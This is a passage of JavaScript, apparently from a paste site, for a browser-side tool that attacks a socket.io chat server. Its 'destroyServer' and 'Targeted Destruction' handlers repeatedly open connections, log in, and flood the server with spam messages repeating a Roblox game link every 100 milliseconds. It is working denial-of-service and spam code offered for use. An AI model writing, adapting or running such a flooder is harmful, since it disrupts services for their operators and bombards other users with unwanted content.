  685.                                 text: "https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze " + Math.random() * 100000000000000000000
  686.                             });
  687.                             sockett.emit("command", {
  688.                                 list: ["color"]
  689.                             });
  690.                             sockett.emit("talk", {
  691.                                 text: "https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze " + Math.random() * 100000000000000000000
  692.                             });
  693.                         }, 100);
  694.                        
  695.                         // Clean up on disconnect
  696.                         socket.on('disconnect', () => clearInterval(innerInterval));
  697.                         sockett.on('disconnect', () => clearInterval(innerInterval));
  698.                        
  699.                     } catch (e) {
  700.                         console.error("Error connecting to target server:", e);
  701.                     }
  702.                 }, 1000);
  703.             }, 100);
  704.            
  705.             // Add stop functionality
  706.             setTimeout(() => {
  707.                 const stopBtn = document.createElement("button");
  708.                 stopBtn.textContent = "Stop Targeted Destruction";
  709.                 stopBtn.style.backgroundColor = "#f44336";
  710.                 stopBtn.style.color = "white";
  711.                 stopBtn.style.border = "none";
  712.                 stopBtn.style.padding = "8px";
  713.                 stopBtn.style.marginTop = "10px";
  714.                 stopBtn.style.width = "100%";
  715.                 stopBtn.onclick = function() {
  716.                     if (destroyTargetedServerInterval) {
  717.                         clearInterval(destroyTargetedServerInterval);
  718.                         alert("Targeted destruction stopped.");
  719.                         stopBtn.remove();
  720.                     }
  721.                 };
  722.                
  723.                 // Add the stop button near the destroy button
  724.                 const destroyBtnContainer = document.getElementById("destroyTargetedServer").parentNode;
  725.                 destroyBtnContainer.appendChild(stopBtn);
  726.             }, 1000);
  727.         }
  728.     };
  729.  
  730.     // NEW DESTROY SERVER CODE (with 100ms delay)
  731.     document.getElementById("destroyServer").onclick = function() {
  732.         setTimeout(function(){
  733.             setInterval(() => {
  734.                 const socket = io("//");
  735.                 const sockett = io("//");
  736.                 sockett.emit("client", "MAIN");
  737.                 socket.emit("client", "MAIN");
  738.                 socket.emit("login", {
  739.                     name: "https://www.roblox.com/games/90615328924675/Maze",
  740.                     room: Math.floor(Math.random() * 100)
  741.                 });
  742.                 socket.emit("login", {
  743.                     name: "https://www.roblox.com/games/90615328924675/Maze"
  744.                 });
  745.                 setInterval(() => {
  746.                     socket.emit("command", {
  747.                         list: ["color"]
  748.                     });
  749.                     socket.emit("talk", {
  750.                         text: "https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze " + Math.random() * 100000000000000000000
  751.                     });
  752.                     sockett.emit("command", {
  753.                         list: ["color"]
  754.                     });
  755.                     sockett.emit("talk", {
  756.                         text: "https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze https://www.roblox.com/games/90615328924675/Maze " + Math.random() * 100000000000000000000
  757.                     });
  758.                 }, 100)
  759.             }, 1000)
  760.         }, 1000)
  761.     };
  762.  
  763. }, 100);
Add Comment
Please, Sign In to add comment